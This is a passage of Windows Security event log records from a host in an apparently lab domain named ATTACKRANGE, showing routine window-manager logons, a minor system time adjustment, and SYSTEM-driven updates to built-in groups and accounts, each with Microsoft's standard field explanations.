Message=Special privileges assigned to new logon.

Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xA125

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245070
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		No

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xA138
	Linked Logon ID:		0xA125
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x26c
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245069
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		2
	Restricted Admin Mode:	-
	Virtual Account:		Yes
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xA125
	Linked Logon ID:		0xA138
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x26c
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245068
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x26c
	Process Name:		C:\Windows\System32\winlogon.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:16:38 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4616
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security State Change
OpCode=Info
RecordNumber=245081
Keywords=Audit Success
Message=The system time was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Process Information:
	Process ID:	0x444
	Name:		C:\Windows\System32\rundll32.exe

Previous Time:		‎2021‎-‎03‎-‎01T12:09:44.166274600Z
New Time:		‎2021‎-‎03‎-‎01T12:09:44.159000000Z

This event is generated when the system time is changed. It is normal for the Windows Time Service, which runs with System privilege, to change the system time on a regular basis. Other system time changes may be indicative of attempts to tamper with the computer.
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245162
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		ATTACKRANGE\Domain Users
	Group Name:		None
	Group Domain:		EC2AMAZ-JQSN6NR

Changed Attributes:
	SAM Account Name:	None
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245161
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\Domain Users
	Account Domain:		EC2AMAZ-JQSN6NR
	Old Account Name:	None
	New Account Name:	None

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245160
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		ATTACKRANGE\Domain Users
	Group Name:		None
	Group Domain:		EC2AMAZ-JQSN6NR

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245159
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\DefaultAccount
	Account Name:		DefaultAccount
	Account Domain:		EC2AMAZ-JQSN6NR

Changed Attributes:
	SAM Account Name:	DefaultAccount
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	<never>
	Account Expires:		<never>
	Primary Group ID:	513
	AllowedToDelegateTo:	-
	Old UAC Value:		0x215
	New UAC Value:		0x215
	User Account Control:	-
	User Parameters:	<value not set>
	SID History:		-
	Logon Hours:		All

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245158
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\DefaultAccount
	Account Name:		DefaultAccount
	Account Domain:		EC2AMAZ-JQSN6NR

Changed Attributes:
	SAM Account Name:	DefaultAccount
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	<never>
	Account Expires:		<never>
	Primary Group ID:	513
	AllowedToDelegateTo:	-
	Old UAC Value:		0x215
	New UAC Value:		0x215
	User Account Control:	-
	User Parameters:	<value not set>
	SID History:		-
	Logon Hours:		All

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245157
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\Guest
	Account Name:		Guest
	Account Domain:		EC2AMAZ-JQSN6NR

Changed Attributes:
	SAM Account Name:	Guest
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	<never>
	Account Expires:		<never>
	Primary Group ID:	513
	AllowedToDelegateTo:	-
	Old UAC Value:		0x215
	New UAC Value:		0x215
	User Account Control:	-
	User Parameters:	<value not set>
	SID History:		-
	Logon Hours:		All

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245156
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\Guest
	Account Name:		Guest
	Account Domain:		EC2AMAZ-JQSN6NR

Changed Attributes:
	SAM Account Name:	Guest
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	<never>
	Account Expires:		<never>
	Primary Group ID:	513
	AllowedToDelegateTo:	-
	Old UAC Value:		0x215
	New UAC Value:		0x215
	User Account Control:	-
	User Parameters:	<value not set>
	SID History:		-
	Logon Hours:		All

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245155
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Changed Attributes:
	SAM Account Name:	Administrator
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	3/1/2021 12:08:54 PM
	Account Expires:		<never>
	Primary Group ID:	513
	AllowedToDelegateTo:	-
	Old UAC Value:		0x14
	New UAC Value:		0x14
	User Account Control:	-
	User Parameters:	<value not set>
	SID History:		-
	Logon Hours:		All

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245154
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR

Changed Attributes:
	SAM Account Name:	Administrator
	Display Name:		<value not set>
	User Principal Name:	-
	Home Directory:		<value not set>
	Home Drive:		<value not set>
	Script Path:		<value not set>
	Profile Path:		<value not set>
	User Workstations:	<value not set>
	Password Last Set:	3/1/2021 12:08:54 PM
	Account Expires:		<never>
	Primary Group ID:	513
	AllowedToDelegateTo:	-
	Old UAC Value:		0x14
	New UAC Value:		0x14
	User Account Control:	-
	User Parameters:	<value not set>
	SID History:		-
	Logon Hours:		All

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245153
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\System Managed Group
	Group Name:		System Managed Accounts Group
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	System Managed Accounts Group
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245152
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\System Managed Group
	Account Domain:		Builtin
	Old Account Name:	System Managed Accounts Group
	New Account Name:	System Managed Accounts Group

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245151
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\System Managed Group
	Group Name:		System Managed Accounts Group
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245150
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Storage Replica Administrators
	Group Name:		Storage Replica Administrators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Storage Replica Administrators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245149
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Storage Replica Administrators
	Account Domain:		Builtin
	Old Account Name:	Storage Replica Administrators
	New Account Name:	Storage Replica Administrators

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245148
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Storage Replica Administrators
	Group Name:		Storage Replica Administrators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245147
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Remote Management Users
	Group Name:		Remote Management Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Remote Management Users
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245146
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Remote Management Users
	Account Domain:		Builtin
	Old Account Name:	Remote Management Users
	New Account Name:	Remote Management Users

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245145
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Remote Management Users
	Group Name:		Remote Management Users
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245144
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Access Control Assistance Operators
	Group Name:		Access Control Assistance Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Access Control Assistance Operators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245143
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Access Control Assistance Operators
	Account Domain:		Builtin
	Old Account Name:	Access Control Assistance Operators
	New Account Name:	Access Control Assistance Operators

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245142
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Access Control Assistance Operators
	Group Name:		Access Control Assistance Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245141
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Hyper-V Administrators
	Group Name:		Hyper-V Administrators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	Hyper-V Administrators
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245140
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\Hyper-V Administrators
	Account Domain:		Builtin
	Old Account Name:	Hyper-V Administrators
	New Account Name:	Hyper-V Administrators

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245139
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Hyper-V Administrators
	Group Name:		Hyper-V Administrators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245138
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\RDS Management Servers
	Group Name:		RDS Management Servers
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	RDS Management Servers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245137
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\RDS Management Servers
	Account Domain:		Builtin
	Old Account Name:	RDS Management Servers
	New Account Name:	RDS Management Servers

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245136
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\RDS Management Servers
	Group Name:		RDS Management Servers
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245135
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\RDS Endpoint Servers
	Group Name:		RDS Endpoint Servers
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	RDS Endpoint Servers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245134
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\RDS Endpoint Servers
	Account Domain:		Builtin
	Old Account Name:	RDS Endpoint Servers
	New Account Name:	RDS Endpoint Servers

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245133
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\RDS Endpoint Servers
	Group Name:		RDS Endpoint Servers
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245132
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\RDS Remote Access Servers
	Group Name:		RDS Remote Access Servers
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	RDS Remote Access Servers
	SID History:		-

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4781
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=User Account Management
OpCode=Info
RecordNumber=245131
Keywords=Audit Success
Message=The name of an account was changed:

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Account:
	Security ID:		BUILTIN\RDS Remote Access Servers
	Account Domain:		Builtin
	Old Account Name:	RDS Remote Access Servers
	New Account Name:	RDS Remote Access Servers

Additional Information:
	Privileges:		-
03/11/2021 11:16:39 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245130
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
